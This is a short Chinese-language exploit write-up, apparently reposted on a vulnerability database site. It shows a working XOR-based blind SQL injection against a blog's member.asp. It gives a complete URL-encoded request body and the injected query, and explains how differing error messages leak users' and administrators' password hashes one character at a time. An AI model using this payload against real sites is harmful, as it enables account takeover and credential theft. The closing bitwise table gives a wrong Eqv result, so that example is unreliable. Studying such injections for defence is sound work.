这里将给大家介绍一种很少被人用来注入的运算符,XOR。
在SQL 联机丛书中可以查到XOR的功能。
«Expression1» XOR «Expression2» 如果两个表达式只有一个为真则返回 TRUE,否则返回 FALSE。
提交如下数据到member.asp文件。
UID=%32%20%78%6F%72%20%6D%65%6D%5F%69%64%3D%31%20%61%6E%64%20%61%73%63%28%6D%69%64%28%6D%65%6D%5F%50%61%73%73%77%6F%72%64%2C%31%2C%31%29%29%3E%30%20%78%6F%72%20%31%3D%31%20&Oldpassword=123123&password=123123&Confirmpassword=123123&Gender=0&email=&hiddenEmail=1&homepage=&QQ=&action=save&submit2=%E4%BF%AE%E6%94%B9%E8%B5%84%E6%96%99
其中UID的值为2 xor mem_id=1 and asc(mid(mem_Password,1,1))>0 xor 1=1 组合到语句中就是:
select top 1 * from blog_Member where mem_id=2 xor mem_id=1 and asc(mid(mem_Password,1,1))>0 xor 1=1 and mem_Name='xiaot'
如果 mem_id=1 and asc(mid(mem_Password,1,1))>0 正确,则返回
“错误信息
用户名与密码错误”
否则就返回
“错误信息
不存在此用户
操作失败!”
利用这个方法可以得到用户包括管理员的密码hash
XOR的用法在此不做详细描述。
只是简单提及,希望抛了砖也引不出玉。
另外还可以利用的逻辑运算符号还包括了eqv等
不仅仅是简单的and ,or,not
最后给出一个东西,如果对大家有那么一点点的帮助,我也不枉写了这么长的文章。
1011011
And 1111111
= 1011011
1010101
or 0010111
= 1010111
not 1011111
= 0100000
1010101
xor 1100111
= 0110010
1010111
Eqv 0110101
= 0011101
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation